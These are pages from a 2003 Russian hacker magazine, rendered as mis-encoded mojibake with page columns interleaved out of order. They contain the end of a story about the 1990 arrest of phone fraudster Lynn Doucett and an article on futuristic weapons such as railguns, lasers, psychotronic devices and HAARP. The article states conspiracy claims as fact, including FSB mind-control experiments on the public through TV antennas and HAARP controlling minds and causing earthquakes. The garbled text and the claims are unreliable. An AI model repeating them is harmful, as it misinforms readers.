ñòàðàëèñü êàê ìîæíî ëó÷øå çàìåñòè ñëåäû, ïîëíîñòüþ èçáàâèòüñÿ<br />
îò íèõ íå óäàëîñü. Ñïóñòÿ íåäåëþ íåïðåðûâíîãî<br />
ðàññëåäîâàíèÿ, ôåäåðàëû íàøëè-òàêè çëîóìûøëåííèêîâ,<br />
êîòîðûìè îêàçàëèñü òèíåéäæåðû èç Áîñòîíà, Îãàéî,<br />
Äæîðäæèè, Ìè÷èãàíà è Ëîñ-Àíäæåëåñà, áîëüøèíñòâó èç<br />
êîòîðûõ áûëî ïî 14 ëåò. Ïîñëå äîïðîñà â ïðèñóòñòâèè ðîäèòåëåé<br />
ñòàëî ÿñíî, ÷òî ñàìè ðåáÿòà òàêîé ïëàí ðàçðàáîòàòü<br />
íå ìîãëè, êòî-òî äîëæåí áûë êîîðäèíèðîâàòü èõ ðàáîòó.<br />
Î ïðè÷àñòíîñòè Ëèíí Äóöåò - 35-ëåòíåé æèòåëüíèöû<br />
×èêàãî, áåçðàáîòíîé ìàòåðè äâîèõ äåòåé, àãåíòû óçíàëè îò<br />
íàïóãàííîãî è ïðèçíàâøåãîñÿ âî âñåì ìàëîëåòíåãî õàêåðà<br />
Bitmaster'à. Kyrie (îò ãðå÷åñêîãî - "Ëîðä"), êàê îíà ñåáÿ íàçûâàëà,<br />
óæå äàâíî çàíèìàëàñü ðàçíîãî ðîäà àôåðàìè ÷åðåç<br />
êîìïüþòåðíûå è òåëåôîííûå ñåòè, óñïåëà îòñèäåòü<br />
ñðîê â Êàíàäå çà ìàõèíàöèè ñ ñèñòåìîé ãîëîñîâîé ïî÷òû è<br />
òåïåðü êîîðäèíèðîâàëà ðàáîòó áîëåå äâóõñîò õàêåðîâ. Èíôîðìàöèÿ,<br />
êîòîðóþ äëÿ íåå äîñòàâàëè ìîëîäûå âóíäåðêèíäû,<br />
ïðîäàâàëàñü íà ñòîðîíó, à ñ÷åòà ñ ïîìîùüþ ïîäñòàâíûõ<br />
ëèö ïðåîáðàçîâûâàëèñü â íàëè÷êó èëè òîâàðû. Ñûíîâüÿ<br />
Ëèíí, êîòîðûå è äíÿ â øêîëå íå ïðîáûëè, ïîìîãàëè<br />
ìàìóëå âîðîâàòü èíôó, âçëàìûâàÿ çàùèòó ñåðâåðîâ. Íåñêîëüêî<br />
ëåò Kyrie âåëà êî÷åâîé îáðàç æèçíè, ïåðåëåòàÿ ñ<br />
ìåñòà íà ìåñòî è íå èìåÿ ïîñòîÿííîãî äîìà.<br />
Íàéòè åå áûëî áû íåïðîñòî, åñëè áû íå Ãåéë Òàêåðåé<br />
- áûâøèé ôðèêåð è ñòàðûé çíàêîìûé Ëèíí, êîòîðîìó<br />
îíà îäíàæäû ïîçâîíèëà, ÷òîáû ïîõâàñòàòüñÿ<br />
ñâîèìè äîñòèæåíèÿìè. Íàñëûøàííûé ïðî ìèëëèîííûå<br />
ïîòåðè, êîòîðûå êîìïàíèè íåñëè èç-çà Kyrie,<br />
Ãåéë ðåøèë ïîëîæèòü êîíåö åå äåÿòåëüíîñòè è ñîîáùèë<br />
ñïåöñëóæáàì íîìåð, îñòàâëåííûé õàêåðøåé.<br />
Áóêâàëüíî íà ñëåäóþùèé äåíü åå àðåñòîâàëè. Â àâãóñòå<br />
1990 ãîäà ñóä ïðèãîâîðèë Ëèíí Äóöåò â 27 ìåñÿöàì<br />
òþðåìíîãî çàêëþ÷åíèÿ. Íåêîòîðûå ñàìûå âåðíûå<br />
ôðèêåðû ïåðèîäè÷åñêè íàâåùàëè ñâîþ àâòîðèòåòíóþ<br />
íàñòîÿòåëüíèöó â ìåñòàõ íå ñòîëü îòäàëåííûõ,<br />
íî ñ óõîäîì Ëèíí åå áàíäà, ñêîëà÷èâàåìàÿ<br />
ãîäàìè, äàëà òðåùèíó, à ñïóñòÿ ïàðó<br />
ìåñÿöåâ ðàçâàëèëàñü îêîí÷àòåëüíî.<br />
Æàðêî Îéêàðèíåí - ñîçäàòåëü IRC (1988) –<br />
ñàìîãî õàêåðñêîãî ÷àòà :)<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 43
×ÓÌÀ XXI ÂÅÊÀ<br />
Implant<br />
Ïàâåë Êîòîâ, Àíäðåé Àáðàìîâ<br />
http://mag.cyberpunk.ru<br />
×óìà<br />
XXI âåêà<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
×åëîâåê - åäèíñòâåííîå<br />
æèâîå ñóùåñòâî íà Çåìëå,<br />
óáèâàþùåå ñåáå ïîäîáíûõ<br />
áåç âñÿêîé íåîáõîäèìîñòè,<br />
äà åùå è ïîëó÷àþùåå îò<br />
ýòîãî îïðåäåëåííîå óäîâîëüñòâèå.<br />
Îí èçîáðåòàåò<br />
âñå íîâûå è íîâûå ñïîñîáû,<br />
íîâûå âèäû îðóæèÿ.<br />
Âñå âèäû âîîðóæåíèé, êîòîðûå<br />
ìû çäåñü ðàññìîòðèì<br />
– ðåàëüíû è ñóùåñòâóþò,<br />
à íåêîòîðûå óæå âîâñþ<br />
èñïîëüçóþòñÿ âîåííûìè.<br />
Ýòî íå îòðûâêè èç ôàíòàñòè÷åñêèõ<br />
ðîìàíîâ è íå<br />
áîëüíàÿ ôàíòàçèÿ àâòîðîâ.<br />
Ýòî æåñòîêàÿ ðåàëüíîñòü.<br />
Îðóæèå áóäóùåãî<br />
Railgun & Coilgun<br />
Íàçâàíèå ïðîèñõîäèò îò ñëîâà «rail», (àíãë. «ðåëüñà»). Äåëî<br />
â òîì, ÷òî îñíîâíîé ïðèíöèï ðàáîòû ðåéëãàíà – ðàçãîí<br />
ñíàðÿäà ìàãíèòíûì ïîëåì. Òîê îò èñòî÷íèêà ïîäàåòñÿ<br />
íà ïåðâóþ ðåëüñó, à ñ íåãî íà àðìàòóðó, äàëåå íà âòîðóþ<br />
ðåëüñó è îáðàòíî â èñòî÷íèê.  èòîãå â äâóõ ðåëüñàõ-ïðîâîäíèêàõ<br />
âîçíèêàåò ìàãíèòíîå ïîëå, êîòîðîå ïîðîæäàåò<br />
ñèëó Ëîðåíñà, ñ ïîìîùüþ êîòîðîé ñíàðÿä â èòîãå<br />
ðàçãîíÿåòñÿ äî áåøåíûõ ñêîðîñòåé. Òåõíè÷åñêè âñå<br />
ïðîèñõîäèò äîâîëüíî ïðîñòî: íà ðåëüñû â î÷åíü êîðîòêèé<br />
ïðîìåæóòîê âðåìåíè ïîñòóïàåò êîëîññàëüíûé çàðÿä,<br />
à äàëüøå âñå èäåò òàê, êàê îïèñàíî âûøå. Èñïîëüçîâàòü<br />
ýòîò âèä îðóæèÿ ìåøàþò äâà íåìàëîâàæíûõ ôàêòîðà.<br />
Ïåðâûé – ýíåðãîïîòðåáëåíèå. Äëÿ ïèòàíèÿ ðåéëãàíà<br />
ñðåäíèõ ðàçìåðîâ åëå-åëå áóäåò õâàòàòü öåëîé ýëåêòðîñòàíöèè.<br />
Íó, à âòîðîé, ðåøàþùèé ôàêòîð – ýòî èçíîñ.<br />
Ñòâîë ðåàëüíîãî èñïûòóåìîãî ðåéëãàíà ïðèõîäèë â íåãîäíîñòü<br />
ïîñëå äâóõ âûñòðåëîâ èç-çà ñîïðèêîñíîâåíèÿ<br />
àðìàòóðû ñ ïðîâîäíèêàìè íà ñâåðõâûñîêîé ñêîðîñòè.<br />
Ó êîéëãàíà æå çàïàñ ïðî÷íîñòè âûøå, íî âåëè÷èíà èçíîñîñòîéêîñòè<br />
áóäåò ðàñòè òîëüêî ñ óìåíüøåíèåì ñêîðîñòè<br />
ñíàðÿäà. Ïî ñóòè, êîéëãàí óñòðîåí ãîðàçäî ïðîùå ðåéëãàíà.<br />
Îí ïðåäñòàâëÿåò ñîáîé íå÷òî âðîäå êàòóøêè ìåäíîé<br />
ïðîâîëîêè ñ âûíóòûì ñåðäå÷íèêîì. Òåì íå ìåíåå,<br />
êîéëãàí òîæå íåëüçÿ íàçâàòü èäåàëüíûì ñòâîëîì, õîòÿ ïî<br />
ðàçìåðàì îí ãîðàçäî ìåíüøå ðåéëãàíà.<br />
Âî-ïåðâûõ, íåñìîòðÿ íà îãðîìíóþ ðàçíèöó â ýíåðãîïîòðåáëåíèè,<br />
îí íå îáåñïå÷èâàåò äîëæíîãî, â âîåííîì<br />
ñìûñëå ýòîãî ñëîâà, ðàçãîíà ñíàðÿäà. Âî-âòîðûõ, äëÿ îäíîãî<br />
âûñòðåëà åìó ïîòðåáóåòñÿ øåñòü 9-âîëüòîâûõ áàòàðååê,<br />
à åãî ñêîðîñòðåëüíîñòü ïîêà ÷òî íå ïðåâûøàåò 12<br />
âûñòðåëîâ â ÷àñ. Òàêàÿ ìàëåíüêàÿ ñêîðîñòü âûçâàíà ïàóçàìè<br />
ìåæäó âûñòðåëàìè, êîòîðûå íåîáõîäèìû äëÿ ïåðåçàðÿäêè<br />
êîíäåíñàòîðîâ. Çàòî ìîùü...<br />
Ïëàçìåííîå îðóæèå<br />
Ïëàçìà – ÷åòâåðòîå ñîñòîÿíèå âåùåñòâà, èäóùåå<br />
âñëåä çà ãàçîîáðàçíûì. Îíà ïðåäñòàâëÿåò ñîáîé èîíèçèðîâàííûé<br />
ãàç, â êîòîðîì ýëåêòðîñòàòè÷åñêîå âçàèìîäåéñòâèå<br />
ìåæäó ÷àñòèöàìè íàñòîëüêî áîëüøîå,<br />
÷òî ñàìîïðîèçâîëüíîå ðàçäåëåíèå çàðÿäîâ ïðîèñõîäèò<br />
ëèøü â î÷åíü ìàëûõ, ïî ñðàâíåíèþ ñ ðàçìåðàìè<br />
ãàçîâîãî îáëàêà, îáëàñòÿõ ïðîñòðàíñòâà.<br />
Ñðåäíÿÿ òåìïåðàòóðà ïëàçìû – îêîëî 10 ìëí. ãðàäóñîâ ïî<br />
Öåëüñèþ, õîòÿ ñ ïîìîùüþ óñòàíîâêè ÒÎÊÀÌÀÊ ó÷åíûå<br />
ñìîãëè äîáèòüñÿ ïîâûøåíèÿ òåìïåðàòóðû äî 200 ìëí.<br />
ãðàäóñîâ. Ñîáñòâåííî, óñòàíîâêà ÒÎÊÀÌÀÊ (ÒÎðîèäàëüíàÿ<br />
ÊÀìåðà ñ ÌÀãíèòíîé Êàòóøêîé) – åäèíñòâåííîå óñòðîéñòâî,<br />
â êîòîðîì óäàëîñü ïîëó÷èòü ñòàáèëüíóþ ïëàçìó â òå÷åíèå<br />
äëèòåëüíîãî ïåðèîäà âðåìåíè (îêîëî ñåêóíäû). Íèêàêèå<br />
äðóãèå âàðèàíòû ïîêà íåâîçìîæíû, â òîì ÷èñëå è ðó÷íîå<br />
ïëàçìåííîå îðóæèå. Äåëî â òîì, ÷òî ïëàçìà ïî ñâîåé<br />
ïðèðîäå ÷ðåçâû÷àéíî íåóñòîé÷èâà è ñòðåìèòñÿ ê ïîñòîÿííîìó<br />
ðàñøèðåíèþ, óäåðæèâàòü îò êîòîðîãî åå ìîæíî<br />
òîëüêî ñ ïîìîùüþ ìàãíèòíîãî ïîëÿ áîëüøîé ìîùíîñòè. À<br />
ìèêðîâàðèàíò ÒÎÊÀÌÀÊ íåâîçìîæåí, ïîòîìó ÷òî äëÿ ïèòàíèÿ<br />
ìàãíèòíûõ êàòóøåê – «ëîâóøåê» äëÿ ïëàçìû òðåáóåòñÿ<br />
ýíåðãèÿ öåëîé ÃÝÑ. Íî äàæå åñëè ðåøèòñÿ âîïðîñ ñ ïèòàíèåì,<br />
îñòàíåòñÿ åùå îäíà ïðîáëåìà: ïîñëå âûõîäà èç<br />
ïëàçìîîáðàçîâàòåëÿ ïëàçìåííîå îáëàêî ïîëåòèò íå â<br />
ñòâîë – îíî åãî ðàñïëàâèò è ðàññååòñÿ â ïðîñòðàíñòâå.<br />
Ëàçåðíîå îðóæèå<br />
Ëàçåð äåéñòâóåò êàê ìîùíûé èíòåíñèâíûé ñâåòîâîé ëó÷,<br />
ñêîíöåíòðèðîâàííûé òàêèì îáðàçîì, ÷òî íå îñëàáëÿåò íà-<br />
44 Íüþñû 1 Ôåððóì 2 Inside 3 Implant 4 Âçëîì
× Ó Ì À<br />
XXI<br />
Ïîä ïóëüñîâûì îðóæèåì ïîäðàçóìåâàåòñÿ îðóæèå, ïîðàæàþùåå<br />
ýëåêòðîííûì èìïóëüñîì, ïðîùå ãîâîðÿ –<br />
ìîëíèåé. Íàñòîÿùóþ ìîëíèþ ïîêà ÷òî ñîçäàòü íåâîçìîæíî,<br />
òàê êàê åå ìîùíîñòü êóäà âûøå ìîùíîñòè âûõîäíîãî<br />
òîêà ÀÝÑ, íî çàòî ñîçäàòü íå÷òî ïîõîæåå è<br />
ìåíüøåé ìîùíîñòè ðåàëüíî áûëî äàæå â ïðîøëîì âåêå,<br />
÷òî, ñîáñòâåííî, è áûëî ñäåëàíî.<br />
 êîíöå äâàäöàòûõ ãîäîâ Ãðèíäåëë Ìåòòüþç óäèâèë ñâîèìè<br />
îïûòàìè âîåííûå âåäîìñòâà ìíîãèõ ñòðàí. Â îñíîâå óñòàíîâêè<br />
Ìåòòüþçà áûë ñèëüíûé èñòî÷íèê óëüòðàôèîëåòîâûõ<br />
ëó÷åé, çàêðûòûé ïðîçðà÷íûì, íî íåïðîíèöàåìûì äëÿ<br />
îáû÷íûõ ñâåòîâûõ ëó÷åé ôèëüòðîì. Óëüòðàôèîëåòîâûå ëó÷è<br />
èîíèçèðóþò âîçäóõ, äåëàÿ åãî ñïîñîáíûì ïðîâîäèòü ýëåêòðè÷åñêèé<br />
òîê. Ýòî è áûëî ãëàâíûì â êîíñòðóêöèè ïóëüñîâîé<br />
óñòàíîâêè: áåç ñèëüíîèîíèçèðîâàííîãî êàíàëà ê öåëè èìïóëüñ<br />
ïîðàçèë áû îïåðàòîðà, ò.ê. òîò íàõîäèëñÿ áëèæå âñåãî<br />
ê òî÷êå îáðàçîâàíèÿ. Ñòîëá âîçäóõà, ïðîâîäÿùåãî òîê,<br />
èãðàë ðîëü ïðîâîäíèêà, ïî êîòîðîìó ìîæíî ïîäàâàòü ýëåêòðè÷åñòâî<br />
â íóæíîå ìåñòî. Íàïðÿæåíèåì â íåñêîëüêî òûñÿ÷<br />
âîëüò îí ïðîáèâàë ìåòðîâûå ñëîè èîíèçèðîâàííîãî âîçäóõà,<br />
ñîçäàâàÿ â íèõ èñêðû, ïîõîæèå íà òðîïè÷åñêóþ ìîëíèþ.<br />
Îíè äåëàëè ñâîå äåëî: çàæèãàëè ïîðîõ, âûâîäèëè èç ñòðîÿ<br />
îáìîòêó ýëåêòðîìîòîðà, ìàãíåòî áåíçèíîâîãî äâèãàòåëÿ. Âî<br />
âðåìÿ îäíîé èç òàêèõ äåìîíñòðàöèé áûë äàæå óáèò êðîëèê.<br />
Ñõîäíûé ýôôåêò ìîæíî áûëî áû ïîëó÷èòü è ïðè ïîìîùè<br />
ïðîñòîãî ýëåêòðè÷åñêîãî ðàçðÿäà, íî äëÿ ïðîáèâàíèÿ êàæäîãî<br />
ìåòðà îáû÷íîãî âîçäóõà òðåáóåòñÿ áîëüøåå íàïðÿæåíèå.<br />
Ìåòòüþç ñóìåë óìåíüøèòü íàïðÿæåíèå ïðîáîÿ âî ìíîãî<br />
ðàç – äî òåõíè÷åñêè ïðèåìëåìîé âåëè÷èíû. Îí æå íàó÷èëñÿ<br />
íàïðàâëÿòü ðàçðÿä ìîëíèè òî÷íî â öåëü, ðåøèâ òàêèì<br />
îáðàçîì ñåðüåçíóþ çàäà÷ó ïåðåäà÷è ýëåêòðîýíåðãèè<br />
ïî âîçäóõó. Íî îòñóòñòâèå èñòî÷íèêîâ óëüòðàôèîëåòîâûõ<br />
ëó÷åé äîñòàòî÷íîé ìîùíîñòè îãðàíè÷èëî ïðèìåíåíèå<br />
åãî àïïàðàòà íà áîëüøèå ðàññòîÿíèÿ, à çíà÷èò,<br />
è ïðèìåíåíèå åãî â âîåííûõ öåëÿõ. Òåïåðü æå ñîâåêà<br />
Ïðè îïðåäåëåííîé ÷àñòîòå è ìîùíîñòè ÑÂ×-èçëó÷åíèÿ<br />
íàðóøàþò ðàáîòó öåíòðàëüíîé íåðâíîé ñèñòåìû.<br />
Ïîïàäàÿ â ðàäèóñ åãî äåéñòâèÿ, ÷åëîâåê ñíà÷àëà<br />
ñëûøèò øóì, êîòîðûé ïåðåðàñòàåò â ñâèñò, è ïîðàæàåò<br />
âíóòðåííèå îðãàíû.<br />
ïîðà è íå îòêëîíÿåòñÿ îò ñâîåé òðàåêòîðèè. Ýíåðãèÿ âûäåëÿåòñÿ<br />
áëàãîäàðÿ êîíòðîëèðóåìîé õèìè÷åñêîé ðåàêöèè.<br />
Ïîòåíöèàëüíî ëàçåð ïðåäñòàâëÿåò ñîáîé ìîùíîå îðóæèå,<br />
åãî ëó÷ ðàññåêàåò ïðîñòðàíñòâî áóêâàëüíî ñî ñêîðîñòüþ<br />
ñâåòà è ìîæåò ïðåîäîëåâàòü îãðîìíóþ äèñòàíöèþ ñ ìèíèìàëüíîé<br />
ïîòåðåé èíòåíñèâíîñòè. Ðàäèóñ äåéñòâèÿ ëàçåðà<br />
ìîæåò ñîñòàâëÿòü äåñÿòêè è äàæå òûñÿ÷è êèëîìåòðîâ.<br />
Òàê, íàïðèìåð, íîâûé ëàçåð àìåðèêàíñêîãî ïðîèçâîäñòâà<br />
ñïîñîáåí ïîðàæàòü ëþáîé àðòèëëåðèéñêèé ñíàðÿä â ïîëåòå,<br />
÷òî è áûëî äîêàçàíî â õîäå ïðîâåäåííûõ àìåðèêàíñêèìè<br />
âîåííûìè èñïûòàíèé. Ìîáèëüíûé òàêòè÷åñêèé ëàçåð<br />
áûë íàâåäåí íà áûñòðî äâèæóùèéñÿ ñíàðÿä è ïîðàçèë åãî<br />
ïó÷êîì êîíöåíòðèðîâàííûõ ôîòîíîâ. Äâà ãîäà íàçàä ýòîò<br />
âèä îðóæèÿ óñïåøíî ñáèë ðàêåòíûé ñíàðÿä, âûïóùåííûé<br />
èç "Êàòþøè", à íåäàâíî ïðîâåäåííûå èñïûòàíèÿ äîêàçàëè,<br />
÷òî ëàçåð ñïîñîáåí ïîðàçèòü è ìåíüøóþ ïî ðàçìåðàì<br />
öåëü, ïåðåäâèãàþùóþñÿ ñ åùå áîëüøåé ñêîðîñòüþ.<br />
Ïñèõîòðîííîå îðóæèå<br />
Îñîáåííîñòü ïñèõîòðîííîãî âîçäåéñòâèÿ ñîñòîèò â òîì, ÷òî<br />
ñîçíàíèå ÷åëîâåêà íå òîëüêî ïîìóòíÿåòñÿ, íî è ñòàíîâèòñÿ<br />
óïðàâëÿåìûì. Òî åñòü ìàëî òîãî, ÷òî îáúåêò âûâîäèòñÿ èç<br />
ñîñòîÿíèÿ ïñèõè÷åñêîãî ðàâíîâåñèÿ, ìîæíî çàñòàâèòü åãî<br />
ñîâåðøèòü ëþáûå äåéñòâèÿ, âïëîòü äî óáèéñòâà. Ïðèíöèï<br />
ðàáîòû ýòîãî âèäà îðóæèÿ ïðîñò: åñòü äâà ñïîñîáà. Ïåðâûé<br />
– ãèïíîç, îñóùåñòâëÿåìûé æèâûìè ãèïíîòèçåðàìè, ò.å. òàêèìè<br />
æå ëþäüìè, êàê òû ñàì. È âòîðîé ñïîñîá – òåõíîëîãè-<br />
÷åñêèé. Ñóùåñòâóþò îïðåäåëåííûå ÷àñòîòû âîëí, êîòîðûå<br />
âîçäåéñòâóþò íà ïñèõèêó ÷åëîâåêà îïðåäåëåííûì îáðàçîì.<br />
Åùå â 60-å ãîäû àìåðèêàíöû äîáèëèñü âåñüìà îùóòèìûõ<br />
ðåçóëüòàòîâ: îíè ñîçäàëè ÷àñòîòû, êîòîðûå äåéñòâîâàëè<br />
òîëüêî íà î÷àãè ñîçíàíèÿ, ðåãóëèðóþùèå ïðîñòåéøèå äåéñòâèÿ,<br />
íàïðèìåð: ñïàòü, åñòü, óáèâàòü èëè çàíèìàòüñÿ ñåêñîì.<br />
Íî ïðîøëî âðåìÿ, è ñåãîäíÿøíèå âîçìîæíîñòè ïîçâîëÿþò<br />
îïåðèðîâàòü ÷åëîâå÷åñêîé ïñèõèêîé è ÷åëîâå÷åñêèìè<br />
ïîñòóïêàìè â ãîðàçäî áîëåå øèðîêîì äèàïàçîíå. Óæå ñîçäàíû<br />
ïðèáîðû, êîòîðûå ñîçäàþò âîëíû íà ÷àñòîòàõ, ïîçâîëÿþùèõ<br />
âàðüèðîâàòü áîëåå ñëîæíûå ïñèõè÷åñêèå ðåàêöèè.<br />
Ïðè ýòîì íàäî ó÷èòûâàòü, ÷òî òàêèå ïðèáîðû ñïîñîáíû<br />
äåéñòâîâàòü íà î÷åíü áîëüøîì ðàññòîÿíèè, òî åñòü îáëó÷àòåëü<br />
ìîæåò íàõîäèòüñÿ â ïîëóêèëîìåòðå îò òåáÿ, îí ìîæåò<br />
ïðîáèâàòü áåòîííûå çàãðàæäåíèÿ è ò.ä. Èíà÷å ãîâîðÿ, îò<br />
íåãî íå ñêðûòüñÿ äàæå â áóíêåðå.<br />
Ýòîò âèä îðóæèÿ óæå íåñêîëüêî ëåò - ðåàëüíîñòü. Ýêñïåðèìåíòû<br />
ïðîâîäèëèñü åùå â ÊÃÁ íà íè÷åãî íå ïîäîçðåâàþùèõ<br />
îäèíîêèõ ñòàðè÷êàõ. Ñåãîäíÿ æå òâîðèòñÿ ïîëíûé áåñïðåäåë.<br />
ÔÑÁ íàñòîëüêî çàãîðåëàñü ðàçðàáîòêîé òàêîãî ïåðñïåêòèâíîãî<br />
âèäà îðóæèÿ, ÷òî ýêñïåðèìåíòû ïðîâîäÿòñÿ<br />
ïðàêòè÷åñêè íà âñåõ ëþäÿõ.  òîì ÷èñëå è íà òåáå, âåäü îò<br />
ýòîãî íèêòî íå çàñòðàõîâàí. Èçëó÷àòåëü òàêèõ âîëí ìîæåò<br />
âûãëÿäåòü êàê îáû÷íàÿ ÒÂ-àíòåííà, êîòîðàÿ óñòàíîâëåíà íà<br />
êðûøå êàæäîãî äîìà. Â ðåçóëüòàòå ñ ïîìîùüþ òàêîé «àíòåííû»<br />
ìîæåò äåðæàòüñÿ ïîä êîíòðîëåì âåñü òâîé ðàéîí.<br />
Ïóëüñîâîå îðóæèå<br />
Ýëåêòðîìàãíèòíîå èçëó÷åíèå íèçêîé ÷àñòîòû âëèÿåò<br />
íà ÷åëîâå÷åñêèé ìîçã. Ñ åãî ïîìîùüþ äàæå íà çíà-<br />
÷èòåëüíîì ðàññòîÿíèè ìîæíî âûçûâàòü ó ÷åëîâåêà<br />
ïðèñòóï òîøíîòû, îùóùåíèå, ÷òî ó íåãî ææåò ëèöî<br />
èëè ðóêè, à òàêæå âîçäåéñòâîâàòü íà åãî ñîí.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
Implant<br />
×ÓÌÀ XXI ÂÅÊÀ<br />
Ïàâåë Êîòîâ, Àíäðåé Àáðàìîâ<br />
http://mag.cyberpunk.ru<br />
âðåìåííûé òåõíè÷åñêèé óðîâåíü ïîçâîëÿåò âíîâü âåðíóòüñÿ<br />
ê ïðèíöèïàì óñòàíîâêè Ìýòòüþçà íà íîâîì óðîâíå, íàïðèìåð,<br />
èñïîëüçóÿ ëàçåðû èëè ÑÂ×-èçëó÷åíèå.<br />
HAARP<br />
Ïðåäñòàâü ñåáå, ÷òî ìîæíî ñäåëàòü òàê, ÷òî ñàìûå âàæíûå<br />
çàâîäû èëè âîåííûå áàçû âðàãà âäðóã ðàçðóøàþòñÿ<br />
íåîæèäàííûìè çåìëåòðÿñåíèÿìè. Ïðåäñòàâü, ÷òî òû<br />
ìîæåøü íàñëàòü çàñóõó íà åãî ïîëÿ è ñìåðòåëüíûå áîëåçíè<br />
íà åãî ãîðîäà. Ïðåäñòàâü, êàê âðàæåñêàÿ ñòðàíà<br />
âäðóã íà÷èíàåò ñîòðÿñàòüñÿ îò àâàðèé â ÿäåðíûõ ðåàêòîðàõ<br />
èëè îò âçðûâîâ íà çàâîäàõ. È íè÷åãî íåëüçÿ äîêàçàòü.<br />
Ìîæíî âñå ñâàëèòü íà ïðèðîäó. Òû ñêàæåøü, ÷òî<br />
òàêîå îðóæèå íåâîçìîæíî È îøèáåøüñÿ.<br />
Î÷åíü äàâíî ãåîôèçèêè îòìåòèëè, ÷òî èîíîñôåðà ïîäîáíà<br />
ãèãàíòñêîìó çåðêàëó, êîòîðîå îòðàæàåò ïðîöåññû<br />
â ãëóáîêèõ íåäðàõ ïëàíåòû. Äàâíî çàìå÷åíî, ÷òî çåìëåòðÿñåíèÿ<br />
âûçûâàþò âîçìóùåíèÿ â èîíîñôåðå, è ïîä÷àñ<br />
ñîäðîãàíèÿì íåäð ñîïóòñòâóþò ïðèçðà÷íûå îãíè â íåáåñàõ.<br />
Äàâíî èçâåñòíî è òî, ÷òî âîçìóùåíèÿ â èîíîñôåðå<br />
âëèÿþò íà ïîãîäíûå êàòàêëèçìû. Íåäàâíî âîåííûå ïîäòâåðäèëè,<br />
÷òî ïðè íåàêêóðàòíîì ðàçîãðåâå âåðõíåãî<br />
ñëîÿ àòìîñôåðû âïîëíå ìîãóò îáíàðóæèòüñÿ êàòàñòðîôè÷åñêèå<br />
ïîñëåäñòâèÿ ïëàíåòàðíîãî õàðàêòåðà.<br />
Îôèöèàëüíî HAARP - ýòî ïðîåêò èññëåäîâàíèÿ ñâå÷åíèÿ<br />
âûñîêîàòìîñôåðíûõ ñëîåâ. Îäíàêî äàííûé àïïàðàò<br />
èìååò ãîðàçäî áîëåå øèðîêèå âîçìîæíîñòè, ÷åì ïðîñòî<br />
íàãðåâ èîíîñôåðû. Äåëî â òîì, ÷òî ïðîåêò îñíîâàí íà<br />
èñïîëüçîâàíèè îãðîìíîé ýëåêòðîìàãíèòíîé ïóøêè, íàïðàâëåííîé<br />
íà âåðõíèå ñëîè àòìîñôåðû ñ âûñîêîé òî÷íîñòüþ.<br />
Èíà÷å ãîâîðÿ, ÕÀÀÐÏ - ýòî ýëåêòðîìàãíèòíîå<br />
îðóæèå îãðîìíîé ìîùíîñòè, ïåðåäàò÷èê, êîòîðûé ìîæíî<br />
ñðàâíèòü ñ êîëîññàëüíîé ìèêðîâîëíîâîé ïå÷üþ, ÷üå<br />
èçëó÷åíèå ìîæåò áûòü ñôîêóñèðîâàíî â ëþáîé òî÷êå<br />
çåìíîãî øàðà. HAARP - ýòî ñèñòåìà ýëåêòðîííîé òðàíñëÿöèè,<br />
êîòîðàÿ â íàñòîÿùåå âðåìÿ íàõîäèòñÿ â ðóêàõ<br />
àðìèè ÑØÀ. Ýòî âîåííûé ïðîåêò, à âîâñå íå ãðàæäàíñêèé,<br />
â ÷åì ïûòàþòñÿ íàñ óáåäèòü ïðåññ-ðåëèçû è âñÿ<br />
àìåðèêàíñêàÿ ïðåññà. Õîòÿ ó HAARP äåéñòâèòåëüíî åñòü<br />
ìíîãî âîçìîæíîñòåé, î ñàìîé ãëàâîé èç íèõ íèêòî è íèêîãäà<br />
íå óïîìèíàë - ýòî íåâåðîÿòíàÿ âîçìîæíîñòü êîíòðîëÿ<br />
íàä ñîçíàíèåì.<br />
Âûãëÿäèò îðóæèå òàê: íà òåððèòîðèè â 60 êâàäðàòíûõ êèëîìåòðîâ<br />
ðàçâåðíóòà ãðîìàäíàÿ ðåøåòêà àíòåííû, ôàêòè-<br />
÷åñêè – ñåòü èç òðåõñîò øåñòèäåñÿòè àíòåíí, êîòîðûå<br />
âìåñòå ñîñòàâëÿþò îãðîìíûé èçëó÷àòåëü ñâåðõâûñîêèõ ÷àñòîò.<br />
Îíè ïîñûëàþò ðàäèîâîëíû â ÷àñòîòå 2,8-10 Ìåãàãåðö<br />
è ìîùíîñòüþ â 1,7 ìëðä. Âàòò. Òóò åñòü ðàäàð íåêîãåðåíòíîãî<br />
èçëó÷åíèÿ ñ àíòåííîé äèàìåòðîì 20 ìåòðîâ,<br />
ëàçåðíûå ëîêàòîðû, ìàãíèòîìåòðû, êîìïüþòåðû äëÿ îáðàáîòêè<br />
ñèãíàëîâ è óïðàâëåíèÿ àíòåííûì ïîëåì. Ìîùíàÿ<br />
ãàçîâàÿ ýëåêòðîñòàíöèÿ è øåñòü äèçåëü-ãåíåðàòîðîâ ñíàáæàþò<br />
ýíåðãèåé ýòî ôàíòàñòè÷åñêîå ñîîðóæåíèå.<br />
Òåïåðü â ëþáîé ïðåäìåò ìîæíî âûïóñòèòü èîíèçèðóþùèé<br />
âîçäóõ ëó÷. Âîçäóõ íà ïóòè îò ëó÷à äî öåëè<br />
ïðåâðàùàåòñÿ â ïðîâîäÿùóþ ýëåêòðè÷åñòâî ïëàçìó,<br />
è æåðòâà íåìåäëåííî ïîëó÷àåò ñèëüíåéøèé óäàð òîêîì.<br />
Òàêîé âèä îðóæèÿ ïîÿâèòñÿ ó ïîëèöèè óæå ÷åðåç<br />
íåñêîëüêî ëåò. Ñåé÷àñ äëèíà ëó÷à äîñòèãàåò 2<br />
êèëîìåòðîâ, à ìîùíîñòü ïåðåäàâàåìîãî çàðÿäà ìîæåò<br />
áûòü äîâåäåíà äî ñìåðòåëüíîãî óðîâíÿ.<br />
Ãðàâèòàöèîííîå îðóæèå<br />
Âîçìîæíî, ó Ðîññèéñêîé àðìèè òîæå åñòü ðàçðàáîòêè,<br />
ïîäîáíûå àìåðèêàíñêîìó HAARP. Âåäü âñå ïîìíÿò ÿðêîå<br />
âûñòóïëåíèå ñàìîãî ýìîöèîíàëüíîãî äåïóòàòà Æèðèíîâñêîãî,<br />
êîòîðûé óãðîæàë Àìåðèêå ãðàâèòàöèîííûì îðóæèåì.<br />
